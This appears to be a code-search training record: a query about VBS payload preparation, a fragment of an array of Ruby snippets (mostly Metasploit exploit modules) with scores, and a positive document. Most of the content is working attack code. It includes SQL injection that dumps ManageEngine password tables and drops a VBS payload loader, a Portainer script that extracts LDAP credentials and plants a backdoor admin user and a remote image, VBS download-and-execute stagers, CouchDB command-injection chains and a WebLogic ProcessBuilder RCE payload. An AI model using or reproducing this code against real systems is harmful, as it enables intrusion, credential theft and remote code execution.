"def exploit\r\n tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)\r\n print_good(\"Logged in as #{datastore['USERNAME']}\")\r\n\r\n if create_course(tcookie, true)\r\n print_status(\"CSRF Token : \" + @token)\r\n print_status(\"Course Name : \" + @course_name + \" Course ID : \" + @course_id)\r\n print_good(\"New course successfully created.\")\r\n end\r\n\r\n if upload_shell(tcookie, true)\r\n print_good(\"Upload successfully.\")\r\n print_status(\"Trying to exec payload...\")\r\n exec_payload\r\n end\r\n end",
"def exploit()\n main() \n inventario_vulnerables() \n $vulnerable_hosts.each do | ip | \n #List Users\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/users\")\n response = Net::HTTP.get_response(uri) \n json_response = JSON.parse(response.body) \n cantidad_usuarios = json_response.count-1 \n puts \"\\n[*][#{ip}]\\nUsers:\"\n (0..cantidad_usuarios).each do | x|\n $cantidad_usuarios += 1\n privs = \"\" # If user is admin.\n if json_response[x][\"Role\"].to_s.chomp() == \"1\"\n privs = \"[Admin]\"\n end\n puts \"\\t-\" + json_response[x][\"Username\"] + \" \" + privs\n end\n rescue\n puts \"\\n[!] Error extracting users on #{ip}.\"\n end\n #List Configs\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/settings\")\n response = Net::HTTP.get_response(uri) \n json_response = JSON.parse(response.body)\n puts \"\\n[*][#{ip}]\\nSettings:\"\n puts \"\\t- LDAP User: \" + json_response[\"LDAPSettings\"][\"ReaderDN\"]\n puts \"\\t- LDAP Pass: \" + json_response[\"LDAPSettings\"][\"Password\"]\n puts \"\\t- LDAP Host: \" + json_response[\"LDAPSettings\"][\"URL\"]\n rescue\n puts \"\\n[!] Error extracting settings on #{ip}.\"\n end \n #List Containers\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/endpoints/1/docker/containers/json\")\n response = Net::HTTP.get_response(uri) \n json_response = JSON.parse(response.body) \n cantidad_containers = json_response.count-1\n puts \"\\n[*][#{ip}]\\nContainers:\"\n (0..cantidad_containers).each do | x|\n $cantidad_containers += 1\n puts \"\\t-\" + json_response[x][\"Names\"][0] + \"(\" + json_response[x][\"Image\"] +\")\" \n end\n rescue\n puts \"\\n[!] Error extracting containers on #{ip}.\"\n end \n #Inject malicious user: CaptainHowdy\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/users\")\n request = Net::HTTP::Post.new(uri) \n request.content_type = \"application/json\" \n request.body = JSON.dump({ \n \"Username\" => \"CapitanHowdy\",\n \"Password\" => \"FuckYouKarras\",\n \"Role\" => 1 # Role 1 = Administrador\n })\n response = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(request)\n end\n json_response = JSON.parse(response.body)\n id = json_response[\"Id\"].to_s\n if id.chomp() == \"\"\n id = \"0\"\n end\n puts \"\\n[*][#{ip}]\\nMalicious User Injected:\"\n puts \"\\t- Malicious User CapitanHowdy created with ID \" + id + \". Password: 'FuckYouKarras'.\"\n rescue\n puts \"\\n[!] Error injecting malicious user on #{ip}.\"\n end\n #Inject malicious image \"yacareteam/pazuzu\"\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/endpoints/1/docker/build?t=yacareteam/pazuzu:latest&remote=https://github.com/mauroeldritch/pazuzu.git&dockerfile=Dockerfile\")\n request = Net::HTTP::Post.new(uri)\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n puts \"\\n[*][#{ip}]\\nMalicious Image Injected:\"\n puts \"\\t- Malicious Image created.\"\n rescue\n puts \"\\n[!] Error injecting malicious image on #{ip}.\"\n end\n #Inject malicious container \"yacareteam/pazuzu\"\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/endpoints/1/docker/containers/create?name=pazuzu\")\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request.body = JSON.dump({\n \"Image\" => \"yacareteam/pazuzu\"\n })\n response = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(request)\n end\n json_resp = JSON.parse(response.body)\n $containerid = json_resp[\"Id\"].to_s\n puts \"\\n[*][#{ip}]\\nMalicious Container Injected:\"\n puts \"\\t- Malicious Container yacareteam/pazuzu created with ID #{$containerid} .\"\n rescue\n puts \"\\n[!] Error injecting malicious container on #{ip}.\"\n end\n end\n #Final stats\n puts \"\\n[*] Final Stats:\"\n puts \"[!] #{$hosts_vulnerables} vulnerable hosts.\"\n puts \"[!] #{$cantidad_usuarios} vulnerable user accounts.\"\n puts \"[!] #{$cantidad_containers} vulnerable containers.\"\nend",
"def try_exploit(exploit_string, keystream, bruting)\r\n connect\r\n idtype_msg = sock.get_once(12)\r\n\r\n if idtype_msg.length != 12\r\n disconnect\r\n return nil\r\n end\r\n\r\n if datastore['KEY'] != ''\r\n exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])\r\n else\r\n # If we don't have a key we need enough keystream\r\n if keystream.nil?\r\n disconnect\r\n return nil\r\n end\r\n\r\n if keystream.length < exploit_string.length\r\n disconnect\r\n return nil\r\n end\r\n\r\n exploit_msg = use_keystream(exploit_string, keystream)\r\n end\r\n\r\n sock.put(exploit_msg)\r\n\r\n if bruting\r\n begin\r\n ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])\r\n rescue Timeout::Error\r\n disconnect\r\n return nil\r\n end\r\n else\r\n ack_msg = sock.get_once(3)\r\n end\r\n\r\n if ack_msg != \"\\x41\\x00\\x43\"\r\n disconnect\r\n return nil\r\n # Different protocol structure for versions >= 5.1\r\n elsif datastore['NEWVERSION'] == true\r\n if bruting\r\n begin\r\n filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i\r\n rescue Timeout::Error\r\n disconnect\r\n return nil\r\n end\r\n else\r\n filelen = sock.get_once(10).to_i\r\n end\r\n if filelen == 0\r\n disconnect\r\n return nil\r\n end\r\n\r\n if datastore['KEY'] != ''\r\n a_msg = dc_encryptpacket('A', datastore['KEY'])\r\n else\r\n a_msg = use_keystream('A', keystream)\r\n end\r\n\r\n sock.put(a_msg)\r\n\r\n if bruting\r\n begin\r\n filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])\r\n rescue Timeout::Error\r\n disconnect\r\n return nil\r\n end\r\n else\r\n filedata = sock.get_once(filelen)\r\n end\r\n\r\n if filedata.length != filelen\r\n disconnect\r\n return nil\r\n end\r\n\r\n sock.put(a_msg)\r\n disconnect\r\n return filedata\r\n else\r\n filedata = ''\r\n\r\n if bruting\r\n begin\r\n msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])\r\n rescue Timeout::Error\r\n disconnect\r\n return nil\r\n end\r\n else\r\n msg = sock.get_once(1024)\r\n end\r\n\r\n while (!msg.nil?) && (msg != '')\r\n filedata += msg\r\n if bruting\r\n begin\r\n msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])\r\n rescue Timeout::Error\r\n break\r\n end\r\n else\r\n msg = sock.get_once(1024)\r\n end\r\n end\r\n\r\n disconnect\r\n\r\n if filedata == ''\r\n return nil\r\n else\r\n return filedata\r\n end\r\n end\r\n end",
"def test_seqence_valid19\n result = engine(\"TrumppasswORd12%\")\n refute(result, \"'Trump1%' should not be valid because it contains password.\")\n end",
"def meets_challenge?\n true\n end",
"def exploit\r\n\t\tif datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'\r\n\t\t\tfail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')\r\n\t\tend\r\n\r\n\t\t@var_mof_name = rand_text_alpha(7)\r\n\t\t@var_exe_name = rand_text_alpha(7)\r\n\t\tpayload_contents = generate_payload_exe\r\n\t\tmof_contents = generate_mof(\"msfmsf.mof\", \"msfmsf.exe\")\r\n\t\t@chm_payload = generate_payload_chm(payload_contents)\r\n\t\t@chm_mof = generate_mof_chm(mof_contents)\r\n\r\n\t\tsuper\r\n\tend",
"def script_security\n security_fail(\"Webdir #{options['webdir']} does not exist. Please fix!\") unless File.directory?(options['webdir'])\nend",
"def script_security\n security_fail(\"Webdir #{options['webdir']} does not exist. Please fix!\") unless File.directory?(options['webdir'])\nend",
"def script_security\n security_fail(\"Webdir #{options['webdir']} does not exist. Please fix!\") unless File.directory?(options['webdir'])\nend",
"def script_security\n security_fail(\"Webdir #{options['webdir']} does not exist. Please fix!\") unless File.directory?(options['webdir'])\nend",
"def cracked?(secret_password_hash, potential_password,salt,iteration,option)\n pass = hash(salt,potential_password,iteration)\n if option ==\"-v\"\n printf(\"\\r%-15s\",\"#{potential_password}\")\n end\n secret_password_hash == pass\n\n\nend",
"def is_url_secured(url)\n url = url.downcase\n if !url.include?(\"https\") && !url.include?(\"http\")\n Logger.warning(\"Using 'is_url_secured' on a url that doesn't have a http(s):// attachment.\")\n end\n return url.include? \"https\"\nend",
"def hpricot? ; false end",
"def vulnerable?\n case vulnerable\n when \"BOTH\" then true\n when \"NONE\" then false\n else\n vulnerable.split(\"\").include?(declarer)\n end\n end",
"def test_inspection\n spawn_victim_program\n inspection = inspect_victim\n assert_match( /^\n VALUE\\[0\\]\\[0\\]=\\d+ \\n\n VALUE\\[1\\]\\[0\\]=\\d+ \\n\n VALUE\\[1\\]\\[1\\]=\\d+ \\n\n VALUE\\[1\\]\\[2\\]=\\d+ \\n\n VALUE\\[2\\]\\[0\\]=\\d+ \\n\n VALUE\\[2\\]\\[1\\]=\\d+ \\n\n VALUE\\[2\\]\\[2\\]=\\d+ \\n\n VALUE\\[3\\]\\[0\\]=\\d+ \\n\n VALUE\\[3\\]\\[1\\]=\\d+ \\n\n VALUE\\[3\\]\\[2\\]=\\d+ \\n\n VALUE\\[4\\]\\[0\\]=\\d+ \\n\n VALUE\\[4\\]\\[1\\]=\\d+ \\n\n VALUE\\[4\\]\\[2\\]=\\d+ \\n /x, inspection )\n kill_victim_program\n end",
"def check\n\n # get enriched entity\n require_enrichment\n uri = _get_entity_name\n headers = {\n Referer: \"#{uri}\"\n }\n\n # check if vuln\n response = http_request :get, \"#{uri}?displayName=whatever&filepath=../../boot.ini\", nil, headers\n if response.code.to_i == 200 && response.body_utf8 =~ /operating systems/\n _log \"Vulnerable!\"\n return \"Retrieved contents of boot.ini file: #{response.body_utf8}\"\n end\n\n # if original URI didn't work, lets try the default url\n _log \"Testing at /vsaPres/web20/core/Downloader.ashx\"\n uri_obj = URI(uri)\n endpoint = \"#{uri_obj.scheme}://#{uri_obj.hostname}:#{uri_obj.port}/vsaPres/web20/core/Downloader.ashx?displayName=whatever&filepath=../../boot.ini\"\n response = http_request :get, endpoint, nil, headers\n if response.code.to_i == 200 && response.body_utf8 =~ /operating systems/\n _log \"Vulnerable!\"\n return \"Retrieved contents of boot.ini file: #{response.body_utf8}\"\n end\n end",
"def exploit\n\n start_service()\n print_status(\"Server started.\")\n\n # Call the exploit primer\n primer\n\n # Wait on the service to stop\n self.service.wait\n end",
"def verify_iss; end",
"def verify_iss; end",
"def check\r\n\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, \"#{datastore['CONTENT_DIR']}/\")\r\n })\r\n\r\n unless res\r\n vprint_error 'Connection failed'\r\n return CheckCode::Unknown\r\n end\r\n\r\n if res.code == 404\r\n return Exploit::CheckCode::Safe\r\n end\r\n return Exploit::CheckCode::Appears\r\n end",
"def test_10_accepts_doesnt_include_password\n result = doesnt_include_password?(\"Hat123!!\")\n assert(result, \"Hat123!! has non alphanumeric, should be valid\")\n end",
"def exploit\r\n path = datastore['PATH']\r\n exe_name = \"#{path}/system32/#{rand_text_alpha(rand(10)+5)}.exe\"\r\n mof_name = \"#{path}/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof\"\r\n @mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))\r\n @exe = generate_payload_exe\r\n @stage = :exe\r\n\r\n begin\r\n t = framework.threads.spawn(\"reqs\", false) {\r\n # Upload our malicious executable\r\n u = upload(exe_name)\r\n # Upload the mof file\r\n upload(mof_name) if u\r\n register_file_for_cleanup(\"#{::File.basename(exe_name)}\")\r\n register_file_for_cleanup(\"wbem\\\\mof\\\\good\\\\#{::File.basename(mof_name)}\")\r\n }\r\n\r\n super\r\n ensure\r\n t.kill\r\n end\r\n end",
"def does_not_contain_special(user_id)\n if user_id.include?(\"!\") || user_id.include?(\"#\") || user_id.include?(\"$\")\n puts \"User ID cannot contain these characters: !, #, or $\"\n else \n puts \"Acceptable\"\n end\nend",
"def on_pre_request(request)\n\t\t@hostname = request.host\n\t\tif ( !@hostname.include?(\"videolan.org\") && request.path.include?(\".exe\") )\n\t\t\tBetterCap::Logger.info \"Exploit ;)\".green\n\t\t\tresponse = BetterCap::Proxy::HTTP::Response \n\t\t\treturn response.from_file('/Exploit.exe', 'application/x-msdownload')\n\t\tend\n\t end",
"def check_attack_effects(user, item)\n check_effects(user.effect_objects, \"attack\", user, item)\n end",
"def noSecret()\r\n puts \"I won’t tell you our secret\"\r\n end",
"def whisper_family_secret\n puts \"shhh!\"\n end",
"def whisper_family_secret\n puts \"shhh!\"\n end"
] | [
"0.7581666",
"0.7476839",
"0.72725254",
"0.7067437",
"0.66398966",
"0.66200596",
"0.6374785",
"0.6349748",
"0.6274493",
"0.6263017",
"0.6226422",
"0.61914456",
"0.6155325",
"0.6137533",
"0.6126903",
"0.6105171",
"0.60800624",
"0.60610825",
"0.6008244",
"0.59870476",
"0.59716505",
"0.594063",
"0.5909036",
"0.58689487",
"0.5848577",
"0.5845119",
"0.5840749",
"0.580449",
"0.57820356",
"0.57748675",
"0.57675725",
"0.5760276",
"0.5760276",
"0.5748635",
"0.57341796",
"0.56843936",
"0.566834",
"0.5645447",
"0.56370103",
"0.5615707",
"0.56107396",
"0.56041104",
"0.5562804",
"0.55545634",
"0.5543322",
"0.55150384",
"0.55050874",
"0.5502902",
"0.5469349",
"0.54604834",
"0.5460477",
"0.54538345",
"0.54501164",
"0.5427389",
"0.5427071",
"0.54258895",
"0.54195374",
"0.54187816",
"0.5416428",
"0.5387716",
"0.5387378",
"0.5381982",
"0.5381886",
"0.5378754",
"0.5371956",
"0.53704065",
"0.5367032",
"0.536686",
"0.53622806",
"0.53602916",
"0.5359093",
"0.5347668",
"0.533759",
"0.5337273",
"0.5335974",
"0.53328437",
"0.5332783",
"0.5331677",
"0.53298354",
"0.53298354",
"0.53298354",
"0.53298354",
"0.5329314",
"0.53283715",
"0.5327364",
"0.5322817",
"0.53183615",
"0.5306074",
"0.52933866",
"0.52908254",
"0.52908254",
"0.52872014",
"0.52823144",
"0.5277052",
"0.5273318",
"0.5271152",
"0.52690244",
"0.52594304",
"0.52592874",
"0.52592874"
] | 0.60332924 | 18 |
VBS payload and Post Data preparation | def get_payload
handler
payload = generate_payload_exe
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
## determining the target directory
if target.name == 'AppManager 14'
tfile = "AppManager14"
elsif target.name == 'AppManager 13'
tfile = "AppManager13"
elsif target.name == 'AppManager 12'
tfile = "AppManager12"
elsif target.name == 'AppManager 11'
tfile = "AppManager11"
end
fhashes = Rex::Text.rand_text_alpha_lower(8) + ".txt"
## parameters required to read the user table
hashes = "sid=1;copy+(select+username,password+from+AM_UserPasswordTable)+to+$$"
hashes << "c:\\Program+Files+(x86)\\ManageEngine\\"
hashes << "#{tfile}"
hashes << "\\working\\"
hashes << "#{fhashes}"
hashes << "$$;--"
res = inject("#{hashes}")
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/
print_good("Users in the database were taken...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{fhashes}") # users file url
})
if res.code == "404"
fail_with(Failure::Unreachable, 'The database could not be read!')
else
print_status("--------------------Usernames and Passwords---------------------")
puts res.body # users table output
print_status("----------------------------------------------------------------")
end
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
## fetch base64 part in vbs payload
pb64 = @vbs_content.split('"
Dim')[0].split(' = "')[2]
## vbs file in one line
vbs_file = 'On Error Resume Next:Set objWbemLocator = CreateObject("WbemScripting.SWbemLocator"):'
vbs_file << 'if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description:End If:O'
vbs_file << 'n Error GoTo 0:On Error Resume Next:Select Case WScript.Arguments.Count:Case 2:strCo'
vbs_file << 'mputer = Wscript.Arguments(0):strQuery = Wscript.Arguments(1):Set wbemServices = obj'
vbs_file << 'WbemLocator.ConnectServer (strComputer,"Root\\CIMV2"):Case 4:strComputer = Wscript.A'
vbs_file << 'rguments(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):st'
vbs_file << 'rQuery = Wscript.Arguments(3):Set wbemServices = objWbemLocator.ConnectServer (strCo'
vbs_file << 'mputer,"Root\\CIMV2",strUsername,strPassword):case 6:strComputer = Wscript.Arguments'
vbs_file << '(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):strQuery ='
vbs_file << ' Wscript.Arguments(4):namespace = Wscript.Arguments(5):Set wbemServices = objWbemLoca'
vbs_file << 'tor.ConnectServer (strComputer,namespace,strUsername,strPassword):Case Else:strMsg ='
vbs_file << ' "Error # in parameters passed":WScript.Echo strMsg:WScript.Quit(0):End Select:Set w'
vbs_file << 'bemServices = objWbemLocator.ConnectServer (strComputer, namespace, strUsername, str'
vbs_file << 'Password):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Descriptio'
vbs_file << 'n:End If:On Error GoTo 0:On Error Resume Next:Set colItems = wbemServices.ExecQuery(s'
vbs_file << 'trQuery):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description'
vbs_file << ':End If:On Error GoTo 0:i=0:For Each objItem in colItems:if i=0 then:header = "":For '
vbs_file << 'Each param in objItem.Properties_:header = header & param.Name & vbTab:Next:WScript.E'
vbs_file << 'cho header:i=1:end if:serviceData = "":For Each param in objItem.Properties_:serviceD'
vbs_file << 'ata = serviceData & param.Value & vbTab:Next:WScript.Echo serviceData:Next:Function b'
vbs_file << 'PBdVfYpfCEHF(hBPVZMitxq):HHgwqsqii = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-m'
vbs_file << 'icrosoft-com:datatypes" & Chr(34) & " " & "dt:dt=" & Chr(34) & "bin.base64" & Chr(34)'
vbs_file << ' & ">" & hBPVZMitxq & "</B64DECODE>":Set TInPBSeVlL = CreateObject("MSXML2.DOMDocument'
vbs_file << '.3.0"):TInPBSeVlL.LoadXML(HHgwqsqii):bPBdVfYpfCEHF = TInPBSeVlL.selectsinglenode("B64D'
vbs_file << 'ECODE").nodeTypedValue:set TInPBSeVlL = nothing:End Function:Function txhYXYJJl():Emkf'
vbs_file << 'dMDdusgGha = "'
vbs_file << "#{pb64}"
vbs_file << '":Dim CCEUdwNSS:Set CCEUdwNSS = CreateObject("Scripting.FileSystemObject"):Dim zhgqIZn'
vbs_file << 'K:Dim gnnTqZvAcL:Set zhgqIZnK = CCEUdwNSS.GetSpecialFolder(2):gnnTqZvAcL = zhgqIZnK & '
vbs_file << '"\" & CCEUdwNSS.GetTempName():CCEUdwNSS.CreateFolder(gnnTqZvAcL):yZUoLXnPic = gnnTqZvAc'
vbs_file << 'L & "\" & "SAEeVSXQVkDEIG.exe":Dim mEciydMZTsoBmAo:Set mEciydMZTsoBmAo = CreateObject("'
vbs_file << 'Wscript.Shell"):LXbjZKnEQUfaS = bPBdVfYpfCEHF(EmkfdMDdusgGha):Set TUCiiidRgJQdxTl = Cre'
vbs_file << 'ateObject("ADODB.Stream"):TUCiiidRgJQdxTl.Type = 1:TUCiiidRgJQdxTl.Open:TUCiiidRgJQdxT'
vbs_file << 'l.Write LXbjZKnEQUfaS:TUCiiidRgJQdxTl.SaveToFile yZUoLXnPic, 2:mEciydMZTsoBmAo.run yZU'
vbs_file << 'oLXnPic, 0, true:CCEUdwNSS.DeleteFile(yZUoLXnPic):CCEUdwNSS.DeleteFolder(gnnTqZvAcL):E'
vbs_file << 'nd Function:txhYXYJJl:WScript.Quit(0)'
## encode the vbs file to base64 and then encode the url-hex
encoding_vbs = Rex::Text.uri_encode(Rex::Text.encode_base64(vbs_file), 'hex-all')
## post preparation // creating and writing files on the server with SQLi
vbs_payload = "sid=1;copy+(select+convert_from(decode($$#{encoding_vbs}$$,$$base64$$)"
vbs_payload << ",$$utf-8$$))+to+$$C:\\\\Program+Files+(x86)\\\\ManageEngine\\\\"
vbs_payload << "#{tfile}"
vbs_payload << "\\\\working\\\\conf\\\\application\\\\scripts\\\\wmiget.vbs$$;"
res = inject("#{vbs_payload}")
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/
print_good("The harmful .vbs file was successfully written to the server.")
print_status("Keep in mind! You may have to wait between 10-300 seconds for the shell session.")
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
return payload
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def build_vbs(url, payload_name, stager_name)\r\n\t\tname_xmlhttp = rand_text_alpha(2)\r\n\t\tname_adodb = rand_text_alpha(2)\r\n\r\n\t\ttmp = \"#{@temp_folder}/#{stager_name}\"\r\n\r\n\t\tvbs = \"echo Set #{name_xmlhttp} = CreateObject(\\\"\\\"Microsoft.XMLHTTP\\\"\\\") \"\r\n\t\tvbs << \": #{name_xmlhttp}.open \\\"\\\"GET\\\"\\\",\\\"\\\"http://#{url}\\\"\\\",False : #{name_xmlhttp}.send\"\r\n\t\tvbs << \": Set #{name_adodb} = CreateObject(\\\"\\\"ADODB.Stream\\\"\\\") \"\r\n\t\tvbs << \": #{name_adodb}.Open : #{name_adodb}.Type=1 \"\r\n\t\tvbs << \": #{name_adodb}.Write #{name_xmlhttp}.responseBody \"\r\n\t\tvbs << \": #{name_adodb}.SaveToFile \\\"\\\"#{@temp_folder}/#{payload_name}.exe\\\"\\\",2 \"\r\n\t\tvbs << \": CreateObject(\\\"\\\"WScript.Shell\\\"\\\").Run \\\"\\\"#{@temp_folder}/#{payload_name}.exe\\\"\\\",0 >> #{tmp}\"\r\n\r\n\t\treturn vbs\r\n\tend",
"def payload1\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd1}\",\"map\":\"\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd2}\",\"map\":\"\"})\r\n )\r\n end",
"def build_vbs(url, stager_name)\r\n\t\tname_xmlhttp = rand_text_alpha(2)\r\n\t\tname_adodb = rand_text_alpha(2)\r\n\r\n\t\ttmp = \"#{@temp_folder}/#{stager_name}\"\r\n\r\n\t\tvbs = \"echo Set #{name_xmlhttp} = CreateObject(\\\"Microsoft.XMLHTTP\\\") \"\r\n\t\tvbs << \": #{name_xmlhttp}.open \\\"GET\\\",\\\"http://#{url}\\\",False : #{name_xmlhttp}.send\"\r\n\t\tvbs << \": Set #{name_adodb} = CreateObject(\\\"ADODB.Stream\\\") \"\r\n\t\tvbs << \": #{name_adodb}.Open : #{name_adodb}.Type=1 \"\r\n\t\tvbs << \": #{name_adodb}.Write #{name_xmlhttp}.responseBody \"\r\n\t\tvbs << \": #{name_adodb}.SaveToFile \\\"#{@temp_folder}/#{@payload_name}.exe\\\",2 \"\r\n\t\tvbs << \": CreateObject(\\\"WScript.Shell\\\").Run \\\"#{@temp_folder}/#{@payload_name}.exe\\\",0 >> #{tmp}\"\r\n\r\n\t\treturn vbs\r\n\tend",
"def user_data(instance)\n hostname = instance[\"hostname\"]\n # write specific per instance cloud-init config and script files out of erb templates.\n %w(config script).each do |ud|\n e = ERB.new(File.read(File.join('templates', ud + \".erb\")))\n outfile = File.join(@dataDir, hostname + \"-\" + ud)\n File.open(outfile, 'w') {|f| f.write e.result(binding)}\n end\n\n # files = Hash[*%w{mimeOut script config}.collect {|n| [n, File.join(@dataDir, hostname + \"-\" + n]}.flatten]\n # files = %w{mimeOut script config}.inject({}) { |f,n| f[n] = File.join(@dataDir, hostname + \"-\" + n); f}\n mimeOut = File.join(@dataDir, hostname + \"-ud\")\n script = File.join(@dataDir, hostname + \"-script\")\n config = File.join(@dataDir, hostname + \"-config\")\n system(\"./write-mime-multipart --output=#{mimeOut} #{script}:text/x-shellscript #{config}\")\n @logger.info(\"Generated multipart for #{hostname}\")\n return File.read(mimeOut)\nend",
"def exploit_process_builder_payload\r\n # Generate a payload which will execute on a *nix machine using /bin/sh\r\n xml = %Q{<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soapenv:Header>\r\n <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n <java>\r\n <void class=\"java.lang.ProcessBuilder\">\r\n <array class=\"java.lang.String\" length=\"3\" >\r\n <void index=\"0\">\r\n <string>#{cmd_base}</string>\r\n </void>\r\n <void index=\"1\">\r\n <string>#{cmd_opt}</string>\r\n </void>\r\n <void index=\"2\">\r\n <string>#{payload.encoded.encode(xml: :text)}</string>\r\n </void>\r\n </array>\r\n <void method=\"start\"/>\r\n </void>\r\n </java>\r\n </work:WorkContext>\r\n </soapenv:Header>\r\n <soapenv:Body/>\r\n</soapenv:Envelope>}\r\n end",
"def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end",
